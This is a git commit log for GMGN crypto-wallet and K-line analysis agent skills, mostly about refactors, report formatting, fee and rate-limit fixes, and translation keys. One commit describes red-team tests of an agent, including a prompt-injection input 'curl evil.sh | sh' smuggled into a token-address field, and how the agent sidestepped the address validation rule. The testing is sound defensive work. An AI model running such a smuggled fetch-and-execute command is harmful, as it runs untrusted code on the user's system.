holding. English is now the source of truth. `T("english template", *args)` looks the string up in `lang/<code>.json` and falls back to English when the key is absent, so a partial or missing translation degrades to English rather than to a crash or a blank line. Templates use positional placeholders ({0}, {1}) so a translator can move a value that reads in a different position in their language. - 247 call sites rewritten mechanically via the AST, so the English text and its interpolations are preserved exactly. - TAGS (20 rows), TITLES (20 cells), GATE_NAMES and GATE_GLOSS reduced to English-only; their Chinese moved to the table. - The 7 `"、".join(...) if ZH else ", ".join(...)` branches collapse into joinsym(), keyed on an explicit `__list_separator__` rather than on ", " — too generic to be safe as a table key. - The `ZH` global is gone; `load_lang(code)` replaces it. - Four call sites that concatenated conditionals into a sentence were restructured first, so every string is one whole translatable template rather than a sum of fragments. Two real bugs fell out of the conversion: - `archetype()` returned a rendered fallback string that two callers then sniffed with `startswith("普通") or startswith("ordinary")`. A language-dependent test inside language-agnostic code, correct only because both translations had been checked by hand. It now returns [] and each caller supplies its own fallback. - An English template carried full-width CJK brackets around a tag name; now plain quotes. This is the one intentional output change. Verification: all 12 fixtures x 2 languages were snapshotted before the refactor and diffed after every step. Output is byte-identical apart from the bracket fix and one fixture's romanised twitter_name. Deleting lang/zh.json renders clean English, confirming the fallback path. SKILL.md and gen_fixtures.py are English throughout. Two Chinese fragments are deliberately kept in SKILL.md and annotated as such: the trigger phrases in `description:` and the 「CA」/「合约」/「代币」 list in Step 1 are things a user literally types, and translating them would stop the skill triggering on Chinese input. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(wallet-analysis): stop committing generated fixtures gen_fixtures.py rebuilds all 12 fixtures deterministically and is the single source of truth for what each one is meant to test. Committing the generated JSON next to it lets the two drift apart silently: a reviewer reading the generator cannot see that the checked-in copy no longer matches, and every threshold change produced a diff in 12 files that carried no information. Verified regenerable: deleting fixtures/, re-running gen_fixtures.py, and diffing all 12 fixtures x 2 languages against the pre-deletion snapshot gives 24/24 byte-identical output. lang/zh.json stays committed — it is not generated, and without it analyze.py has no Chinese output at all. The .gitignore says so, so the distinction is not left to be re-derived. The verification snippets in SKILL.md now run gen_fixtures.py first. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): measure emoji width correctly and align the report dwidth() was wrong about emoji in both directions, and every column in the report inherited the error. ⚙️ U+2699 + U+FE0F measured 3, renders 2 🕸️ U+1F578 + U+FE0F measured 4, renders 2 ⚡ ⚪ ✅ U+26A1/26AA/2705 measured 1, renders 2 The variation selector was counted as two columns and the U+2600-27BF emoji as one. The first padded every column they appeared in short; the second is the dangerous direction — lines carrying those glyphs could exceed COL in a real terminal while the width check called them safe. The rule is that a base character followed by U+FE0F renders two columns wide, which is what the selector means, so this needs no enumeration of `⚙ ⚔ ✂ ✈ ...`. Box drawing (U+2500-257F) stays one column: the report's own rules and bars are built from it. wrap() had the same disagreement in a worse place: it summed cwidth per codepoint, so `⚔️` measured 1 there and 2 in dwidth(). Two such glyphs on a line put it 2 columns over — the English `grinder` speed read reached 78. Both now apply the same pairing rule. Layout, all of it alignment rather than taste: - The label column is measured, not hardcoded to 10. "key numbers" is 11 columns, so that row went unpadded and its continuation lines sat a column off from every other row in the block. - WHO IT IS is one label grid instead of three indents (style at 10, its gloss at 13, identity and every badge at 2). It read as a wall, and each badge took a line of its own; they now share one wrapped row. - Risk-flag and reassurance continuations hang under their text. At the bullet's own indent a wrapped flag read as a second flag. - A wrap never splits an emoji from the phrase it labels — lines used to end in a bare "✂️" with its name orphaned below. Tracked as a flag rather than read back from the buffer, because an emoji sequence ends in a zero-width selector whose base may not be wide on its own. - The "→" row's continuations hang under the arrow's text. 12 fixtures x 2 languages, all 24 outputs within 76 columns measured with the corrected width. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(wallet-analysis): ship three files, drop the dev-only ones The shipped skill is SKILL.md + analyze.py + lang/zh.json. gen_fixtures.py and .gitignore are removed: neither is reachable at runtime, and the .gitignore existed only to ignore the fixtures/ that gen_fixtures.py produced, so the two go together. This is a real loss, stated plainly rather than glossed. gen_fixtures.py was the only offline verification this skill had — twelve synthetic wallets covering all eleven verdict branches, the three-way wash_trader matched set (corroborated / uncheckable / refuted), and the column-width rule. It needed no API key, and it is what proved the English-only refactor behaviour-preserving across 250 rewritten call sites. Without it every change to analyze.py has to be checked against live wallets, where the data moves between runs and the route budget rate-limits after a handful of attempts. It stays recoverable in git history on this branch. SKILL.md's Verification section now says so and documents how to verify by hand, instead of describing a suite that is no longer here. The width-check snippet in SKILL.md was also carrying the naive `sum(2 if ord(c) > 0x2E7F else 1 ...)` formula — the exact bug fixed in the previous commit, which reports a 78-column line as safe. It now imports dwidth() from analyze.py so the check and the renderer can never disagree again. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): report why holdings failed, not one guess Every `holdings` failure was reported as "needs GMGN_PRIVATE_KEY / critical auth", whatever the cause. Observed live several times in a row: the dossier told the reader to go and configure a credential that was already configured, while the real cause — a rate-limit refusal — went unmentioned. Wrong instruction, and it hid the actual reason. Now split three ways. A limiter refusal says so and says to re-run; an auth failure keeps the credential wording; anything else is reported verbatim rather than guessed at, because a wrong attribution sends a reader down the wrong path more expensively than no attribution does. This matters beyond the limiter. `holdings` can fail on a network error, an auth change or a renamed field, and each of those would have been labelled a missing private key. Verified against all three branches offline (429 / missing key / 401 / network), with the Chinese placeholders substituting correctly in each. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): lead with a decision card, keep the evidence below it Two audiences were fighting over the same screen. Someone who pasted an address needs to stop reading after a few lines; whoever checks the work needs every number. Evidence-first served neither, and the review feedback was blunt about it: too wordy, hide the judgement logic, give conclusions. The report now opens with a decision card and puts the reasoning after it. `--brief` prints the card alone; the default prints both. Nothing is removed — the entire previous output is the second layer, byte-identical (verified across 12 fixtures x 2 languages). The headline is money rather than a ratio: "$1,000 -> $1,621" instead of "+62.1%". Same figure, no conversion asked of the reader, and no extra API call — it is roi_7d wearing clothes a newcomer already owns. Hiding the reasoning obliges the card to be MORE careful than the evidence layer, not less. Five rules, each of which the first cut broke: - The four marks read the gates. They were hardcoded to ✓, so a "🔴 DO NOT COPY" card carried "✓ the record is real" — asserting the opposite of its own headline, on the very check that caused it. - No headline figure when G1 fails. The card showed "$1,000 -> $1,122" for a wash-trading wallet; G1 failing means the P&L is the thing in dispute, so quoting it presents a disputed number as an achieved one. - No "how to follow" under a red verdict. It printed a size cap and a copy window beneath DO NOT COPY — directions for doing the thing the headline forbids. - No editorial the flags contradict. "Not a wallet that only churns" appeared on a card flagged for wash trading. - No card at all when any gate is ⚪. The card has nowhere to put "not measured", and one missing tick reads as a complete verdict with one fewer reason. card_blocked() withholds it; the evidence layer, which can print ⚪, carries the whole answer. Also fixes a translation-key collision this change walked into: the card's gate label reused the key "cuts losses", which the numbers panel's win-rate chip already owned, silently rewriting that chip in eight fixtures. The table has one slot per English string; the card's label is keyed "it cuts losses" and SKILL.md now warns about the hazard. usd_exact() exists because usd() renders the headline as "$1.0K -> $1.6K", which both rounds away the thing being demonstrated and returns to the abstraction the card was built to avoid. The size cap uses it too — that number gets typed into a swap. Verification: evidence layer byte-identical across all 24 fixture/language combinations; 48 runs (both modes) within the 76-column limit; card withheld on all four fixtures with an unmeasured gate; both polarities inspected by hand. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): put cadence, return and amount on the card Reviewing the card against the fields the old first page carried turned up three numbers that nothing else on the card implies: - trades per day — 16/day and 725/day are the difference between something a person can do and something only a script can. The copy window hints at it; it does not say it. - the 7d return as a percentage — the figure people actually quote to each other. The money headline replaced it as the hook, not as the number. - the realized amount — the only thing on the card that shows the scale THIS wallet works at. The size cap describes the reader's size, not its. Everything else the old page 1 carried is unchanged in the evidence layer, which remains byte-identical across all 24 fixture/language combinations. Adding the line walked straight back into the defect fixed one commit ago, one line lower down: the card said "its profit figures are not trustworthy" and then printed "7d 12.2% · made $101.1K". Trade cadence is a fact about behaviour and survives a failed G1; a return and an amount are P&L claims and do not, so they are dropped there. The key-collision guard added last commit earned its place immediately — it refused `7d {0}`, already owned by the numbers panel's form curve, which would have silently rewritten that row the way `cuts losses` did. The card's keys are `{0} over 7 days` and `made {0} in that week`. Verified on the live wallet 0xa7d4…2b9f: 5.4s, zero data gaps, all four gates measured, card rendered. A prior run of the same wallet was rate-limited into two unmeasured gates and correctly produced no card at all rather than one with four green ticks over an unverified P&L. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): reconcile the win rate with the outcome chart The report printed two numbers that contradict each other and left the reader to notice. On a live wallet: 188 of 209 tokens in the 0-200% band, next to a 23.9% win rate. If that band meant "gained 0-200%", the win rate would be 90%. Checked against the raw response rather than guessed at: winrate 0.2388 -> about 50 of 209 tokens pnl_0x_2x_num 188 sell 48 50 winners against 48 sells in the window. The only reading that satisfies both numbers is that the 0-200% band absorbs every token with no realized result yet — bought, not yet sold, so realized ROI is 0, which sits on that band's lower edge. Its size is therefore not a count of wins. Left alone, the chart actively misleads: a full-width green bar over 188 tokens makes a 24%-win-rate wallet look like it wins nine times out of ten, and a reader who spots the clash concludes one of the two figures is broken. Now stated in both places a reader meets it: - under the chart, naming the arithmetic — how many the band holds, how many the win rate implies, and how many are simply unsettled - in the win-rate row, which gives the realized-winner count instead of a bare percentage over a denominator that means something else Gated on >=20 tokens and the gap being >=25% of the band, so a wallet whose two figures already agree gets no note. One of twelve fixtures triggers it — the one modelled on this wallet. Verified: ignoring whitespace, the only substantive change to the evidence layer is the win-rate row. Three neighbouring panel rows shift by a column because the panel is column-aligned and that cell got longer. 48 runs within the width limit. This is the skill's own "reconcile contradictory numbers rather than printing both" rule, which the distribution chart had been violating since it was added. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): use the fees actually paid, and make --size do something Two defects found by auditing what the skill computes against what it shows, and what the API returns against what it reads. **Friction was estimated while the real figure sat unread.** `portfolio stats` reports `bought_fee` and `sold_fee` for the window. Both were ignored. Friction was inferred instead from the gas median of a 300-row activity sample multiplied by the trade count — a sample-based estimate standing in for an exact number in a response already in hand. On 0xa7d4…2b9f the gap is not subtle: estimated gas $0.02 avg -> "0.0% of profit, friction manageable" actual bought_fee $2,924 + sold_fee $1,484 = $4,408 against $167,237 realized = 2.6% Two orders of magnitude, and the report was asserting "friction manageable" off the wrong one. It now uses the paid fees where the fields exist, keeps the sample estimate as the fallback where they do not, and labels which of the two it is showing — the estimate now reads "(estimated)" rather than passing as measurement. This feeds G3, whose reachability test fails at >=25% of profit, so the gate is now decided by the real number too. No fixture changes verdict: they carry no fee fields and take the fallback path. **--size accepted a value and did nothing with it.** It was parsed, stored on m["my_size"] and never read again — a silently inert flag. It has an obvious job, since size_cap already encodes the rule: above the wallet's own clip your fills are worse than the ones its record was built on, so its results stop describing you. Passing --size now states the multiple in the card's action block and in the numbers panel: the $5,000 you asked about is 11.7x its own clip of $427 — at that size your fills are worse than the ones this record was built on Nothing prints when the flag is absent. The flag is documented in SKILL.md, which had never mentioned it. Verified: across 24 fixture/language runs the only line that changes is the friction row, and only by gaining the "(estimated)" label — every percentage is identical. Neighbouring panel rows shift a column because that cell got longer. All runs within the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): surface four figures that were computed and discarded The audit that found the friction defect also found four things the skill either computed or received and then never showed. Each answers a question a reader asks out loud and the report could not previously answer. native_balance — the dry powder, in the chain's native token. GMGN's own leaderboard puts it in column two; this fetched it and dropped it. Now on the provenance line: "159.1 BNB on hand". last_timestamp — freshness. Every other figure in the report is silent about whether the wallet is still trading, so a dossier on a wallet that went quiet three days ago read exactly like one on a wallet trading right now. Now stated under the 24h posture, and past 48 hours it says so plainly: "last trade 5.0 days ago — every figure here describes a wallet that has since gone quiet". realized_all / unrealized — the all-time figures existed only as a percentage. "How much has this wallet ever made" is the most natural question there is, and the amount was computed and thrown away. New panel row: "all time $1.90M realized · $4.0K on paper". entry_sub100k / accum_window_s — both computed, neither shown. The first turns G3's "median entry $20K" into "…and 100% of its entries are under $100k", which is the stronger statement. The second gives the ladder badge a duration: asserting a wallet ladders in on a buy COUNT alone never said whether that happens over minutes or over days. Of 98 metrics, 11 were computed and never read. Four are now shown; the remaining seven (pcr_source, tag_sev, follow_count, gas_share, dev_ath_mc, realized_1d, my_size's raw form) are internal bookkeeping or genuinely redundant. Verified across 24 fixture/language runs: every changed line is either the friction row or G3's entry row, which are exactly the two this and the previous commit touch. 48 runs including --brief stay within the width limit. The new fields degrade silently when absent — fixtures carry no native_balance or last_timestamp and print neither. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis)!: emit native markdown instead of terminal columns The skill printed column-aligned terminal text and every markdown version of it in this project was produced by hand afterwards. That is a defect with two edges: what an agent pipeline receives is not what a reader was shown, and SKILL.md's own "paste stdout verbatim" instruction could not be followed by anyone who wanted readable output. analyze.py now emits markdown directly — headings, tables, blockquotes, bold. Same two layers, same content, same metrics; only the renderer changed. The entire monospace grid is deleted with it: COL, BREAK_AFTER, wrap(), put(), wpad(), dwidth(), cwidth(), ZERO_WIDTH, WIDE_RANGES, WIDE_SYMBOLS and is_emoji_cp(). Roughly 120 lines existed to pad columns with spaces to a 76-display-column budget, and they kept producing a bug class of their own: a variation selector measured two columns while its emoji measured one, and wrap() and dwidth() disagreed by two, putting a line past the limit while every check called it safe. Markdown tables align themselves, so none of it is needed and none of it can rot. Verification changed shape accordingly. The old check counted display columns; the new one checks that the markdown is valid — every table has a delimiter row and a constant column count, `#` is followed by a space, bold markers pair, cell values are escaped so a pipe in a symbol cannot split a row, and the only raw HTML is the `<br>` used inside table cells. Clean across 48 runs (12 fixtures x 2 languages x with/without --brief). SKILL.md carries the checker. Two things the conversion surfaced and fixed: - "RISK FLAGS (2)" carried three bullets, because the reassurances were appended to the same list. They now sit under their own CLEARED heading, so the count matches its contents. - "0.0% of entries under $100k" printed a zero as if it were a finding. Guarded at the call site. SKILL.md's paste-verbatim rule now says what it means: do not reformat the output into your own tables, because that is exactly how the two drift apart. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): translate the five strings the markdown rewrite reworded The markdown renderer rephrased five strings — adding bold markers, a table header — and a reworded string is a new key. All five fell back to English mid-report, so the Chinese output carried "50 positions · $14.5K total", "24h bought / sold", "profit concentration ..." and "live book: unavailable" verbatim. Nothing failed: T() falls back to English by design, which is right for a missing translation and silent for a regressed one. Also splits the holdings table's column key. It used `value`, which the numbers panel already owns, and the table has one slot per English string; it is now `market value`. Same collision class as `cuts losses` before it, caught this time by checking before writing. Adds a completeness check to SKILL.md — walk the AST for literal T() keys and diff against the table. And a warning not to run that check in reverse. Using it to prune "unreferenced" entries deleted live translations here: several strings reach T() through a variable and the scan cannot see them — the TAGS, TITLES, GATE_NAMES, GATE_GLOSS and GATE_PLAIN tables, plus the holdings sentence built as a conditional expression. Unused entries are harmless bloat; a deleted live one breaks exactly one language. Verified on the live wallet: no English leaks in the Chinese report, and 48 fixture/language/mode runs still emit valid markdown. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): drop empty-header tables and give the report an H1 Three layout defects in the markdown output, all visible the moment it is rendered rather than read as source. **Four tables had an empty header row.** The speed read, the identity block and the 24h buy list are key/value pairs, not tabular data, and md_table() emitted `| | |` for them — which renders as a blank header band above the content and reads as a broken table. They are definition lists: `- **label** — value` says the same thing with no empty band. The outcome distribution genuinely is tabular and now has real headers instead of blanks. **`<br>` leaked out of its table cell.** It existed so a cell could hold two lines; once those blocks stopped being tables it rendered as literal text in the middle of a sentence. A continuation line indented two spaces stays inside its list item and needs no tag, so the output now contains no raw HTML at all and the checker rejects every tag rather than allowing one. **The document had no H1 when the card was withheld.** With a card the report opens `# verdict` … `# EVIDENCE`; without one it opened at `##`, so nothing was the top level. The verdict heading is now `#` when there is no card above it. The checker in SKILL.md gains all three: empty header rows, any raw HTML, and a document whose first heading is not `#`. Clean across 48 runs. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): label each gate once, and fix the heading hierarchy Readability pass on the markdown output. **A gate was labelled three times.** `✅ G1 真实性(数据可信吗)` carries an internal code, a formal noun and a plain-language gloss, all naming the same test. The code is bookkeeping that belongs in the source; the formal noun ("AUTHENTICITY") is not the question a reader is asking. The gloss is — so the gloss is now the whole label, and it reads as the question it always was: ### ✅ 数据可信吗 ### ✅ 现在还在赚吗 ### ✅ 你吃得到吗 ### ✅ 它会砍仓吗 The section heading also carried a `⚪G1 ✅G2 ❌G3 ✅G4` strip that restated the four marks appearing immediately below it. Gone. **Gates were bold paragraphs, not headings**, so four of them in sequence had no hierarchy and did not appear in any outline. They are `###` under their section now. **Heading levels skipped.** The card's own sections were `###` directly under a `#`, which reads as a missing level in any outline view. They are `##`. The distribution moves from `##` to `###` because it is a footnote to the numbers panel rather than a peer of it — eight top-level sections in the evidence layer was more navigation than the content needs. The checker in SKILL.md gains a level-sequence walk, so a future skip fails rather than being noticed by eye. Clean across 48 runs in both languages. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): explain the size cap on every path, not just one The size cap's derivation lived on the `p["G3"] is True` branch of actions(), so it printed only when reachability passed. The run that most needs it is the other one: G3 fails, the reader is told not to mirror the wallet, and the card still shows "start no larger than $132" — a bare number sitting next to "do not copy", with the reasoning nowhere on the page. Sizing and reachability answer different questions. Gating one on the other was a control-flow mistake, not a missing sentence: the text existed and was unreachable exactly when it mattered. It now prints whenever a cap exists, worded so it holds under "do not mirror" as well: "keep it at or under $132 — half of the $263 this wallet puts on a buy. Past its own size your fill is worse than the ones its record was built on, so its numbers stop describing you." The quote-before-sending line stays on the G3-pass branch, since that one is genuinely about being able to get filled. Worth recording what this was not: the report DOES explain why the copy window uses a median rather than the mean — the hold_conflict note says the mean is dragged up by bags never sold. Both numbers looked unexplained; only one was. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): issue the decisive call first, not last A full dossier costs weight 26-28 against a rate-limit bucket of 20, so on a cold-ish bucket something gets refused. `holdings` was issued last, at cumulative weight 26, which made the most decisive call the guaranteed casualty — and it is decisive three times over: G1's corroboration of a `wash_trader` tag, G4's honeypot check and the profit engine all read it. Lose it and the verdict falls to HOLD OFF on a wallet whose tag was in fact refutable. Observed on five consecutive live runs of the same wallet, across waits of 280s, 290s, 400s and 420s. Waiting does not fix it: one run cannot fit in one bucket, so the tail is refused whatever the starting level. The gate-critical set now goes first and fits inside one bucket: stats_7d(3) -> profits_all(3) -> holdings(5) = 11 verdict decidable activity(3 x 3 = 9) = 20 window, entry band stats_30d(3), profits_1d(3) = 26 depth only profits_all ranks above the two windows because G2 is unevaluable without it, while stats_30d and profits_1d only add depth to readings that already exist — which makes them the correct things to lose. Same routes, same parameters, same page count: only the sequence moved. All 24 fixture/language outputs are byte-identical across the change, which is the claim that matters — no threshold, formula or verdict row is touched. This is the ordering half of the closed #2. The pacing and caching in that PR were rejected on the grounds that the API being integrated does not rate-limit; the ordering costs nothing either way and fixes the failure that is happening today against gmgn-cli. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: chenjunfeng <chenjunfeng@gmgn.ai> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
6b2f146de3 | 1.5.9 v1.5.9 | ||
|
|
8da65df525 |
Merge pull request #209 from dylanzhong662-max/feat-rate-limit-upgrade-link
feat: show plan upgrade guidance on rate limits |
||
|
|
37a078be40 | feat: show plan upgrade guidance on rate limits | ||
|
|
5d7eac3b3b |
Merge pull request #206 from Edwardchennnn/kline-pattern-md
新增 gmgn-kline-pattern:K 线形态判读(纯 SKILL.md) |
||
|
|
e2c559a517 |
新增 gmgn-kline-pattern:K 线形态判读(纯 SKILL.md)
`gmgn-market` 给的是原始蜡烛数据,这个技能回答**那是什么形态**。agent 跑一条
`gmgn-cli market kline --raw`,然后自己算六个数、查表分类、按表扣分,产出一个
0-100 分且每一处加减分都写明理由。没有脚本、没有本地依赖——装完 gmgn-cli 就能用。
## 为什么用简化过的指标
参考实现用 EMA9/EMA21、最小二乘回归斜率、真实波幅 ATR。这三样都需要迭代或回归,
不是能对着一百根蜡烛手算的东西,所以各自换成一遍算术能出的形式:简单移动平均、
两段五根均值之差、mean((high-low)/close)。
替代方案拿 7 组真实 K 线(BSC 与 Solana,15m 与 1h,87-100 根)与原实现对比:
**趋势方向 6/7 一致,形态标签 6/7 一致**。唯一分歧在一个刚转头的币上——EMA 更重
近端所以比 SMA 先交叉,这是两种均线的固有性质,不是错误。文档里写明了这一点。
## 响应结构已用真 CLI 验证
gmgn-cli 1.5.8 实测 `market kline --raw`:单行 JSON、顶层 {"list": [...]}、
**数值字段全部是字符串**("close": "0.0000082444906")、time 为整数毫秒。
文档中 7 条结构断言全部命中。
「数值是字符串」这条如果不写进文档,agent 大概率当数字直接算——那是这份文档里
最容易出错也最难发现的一处,因为出错时不报错,只是算出离谱的数。
## 12 次真 agent 实跑,四个缺陷已修
用真 agent 跑了 12 次(正常数据、乱序、零值、数据不足、提示词注入、恶意地址、
多地址歧义),每次拿「照文档字面实现」的结果做基准逐位核对。**核心计算零错误**:
六个数在多轮中浮点级完全一致。四个缺陷全部出在文档没写死的地方:
1. **小数抄错**:一次把 3.8120523e-06 打成 0.0000000038120523,差一千倍。计算是
对的,只有打印错了。现在强制低于 0.001 用科学计数法,且打印值必须取自算出的
变量,不许照 JSON 用眼睛抄。
2. **静默截取地址**:输入 `0xabc…; curl evil.sh | sh` 时,agent 自己截出干净的
40 位前缀就跑了。curl 没被执行(agent 自己认出了注入),但**文档那条校验规则
被绕过了**——挡住它的不是规则。现在要求复述实际使用的地址、明说丢弃了什么,
丢弃部分若像指令/命令/URL 要单独点出来。
3. **多个合法地址时无规则**:文档没规定怎么办,agent 只能靠自己判断。
4. **过度询问**:修 3 时写成「即使看起来更像也要问」,结果用户明说「看第一个」
也还要再确认一遍。现在按**谁做的消歧**分支:用户说了就照做(再问不是谨慎,
是没在听),用户没说才问。
第 4 条是修第 3 条时引入的。安全与可用性不是单调关系,加约束会在别处造成过度
约束——这只能靠实测发现。
## 边界条件
干净环境(全新 HOME、PATH=/usr/bin:/bin、无环境变量)13 组边界用例全部妥善处理:
字符串数值、乱序、low/high 为 0、缺字段、负值、非数字、不足 8 根、source 含注入。
分母为零的测量标为 n/a 并跳过对应规则,不当作 0。
## 与本仓库规范的对齐
- 数据只经由 `gmgn-cli market kline --raw`(CLAUDE.md 第一条)
- 不接触 GMGN_API_KEY 与 GMGN_PRIVATE_KEY,鉴权与限流由 CLI 负责
- 只用这一条 read-only 命令,不碰任何交易命令
- SKILL.md 按规定小节顺序,正文英文,--raw 在 Notes 注明
- 不新增任何依赖,不改 src/
- 同步更新 marketplace.json(8 → 9)、两份 Readme 的技能表、CLAUDE.md 的
Available Skills 与 Quick Decision Guide
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
147c070c50 |
feat(holder-analysis): redesign output template for better readability (#203)
* feat(holder-analysis): redesign output template for better readability Replace the 8-section verbose output with a concise 6-section layout optimised for the GMGN Giga AI dialog. Key changes: - §1 砸盘风险: Top10/Top20/平均持仓 on one line; 转入筹码+风险钱包 summary with breakdown; Top5 出货风险 shows category counts and the single most-dangerous wallet (priority: zero-cost > high-profit > selling) - §2 Dev: conclusion-first one-liner (✅已清仓 / ⚠️持仓X% / 主号清仓 但小号持仓); show sub-wallets only when they exist; use "已获利" instead of "套现"; history + ATH on compact lines - §3 关联资金: two-row table (相同资金来源 / 同一时间段注资); ✅ if none - §4 优质信号: each of 聪明钱/KOL/鲸鱼/钻石手 on its own line with live trend; skip categories at 0; show "均无" when all three are 0 - §5 持仓购买力: collapsed to two rows (高余额大户 / 低/零余额) - §6 🤖 建议: rating + one-line core judgment + 💡 离场信号 Removed sections: 📈入场成本分析, 📊筹码结构 (rarely useful, added noise) All upstream data-collection improvements are preserved intact: float-based percentages (fpct/fs/f1), live native price, strong/weak related funds (TIGHT=60s/WINDOW=300s), diamond-hand buy_tx guard, degenerate-float and no-data banners. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> * fix(holder-analysis): improve output wording - 历史最高 → 历史最高市值 - 关联资金:有数据时补显示缺失的一行(✅ 未发现) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> --------- Co-authored-by: Gina <gina@gmgn.ai> Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com> |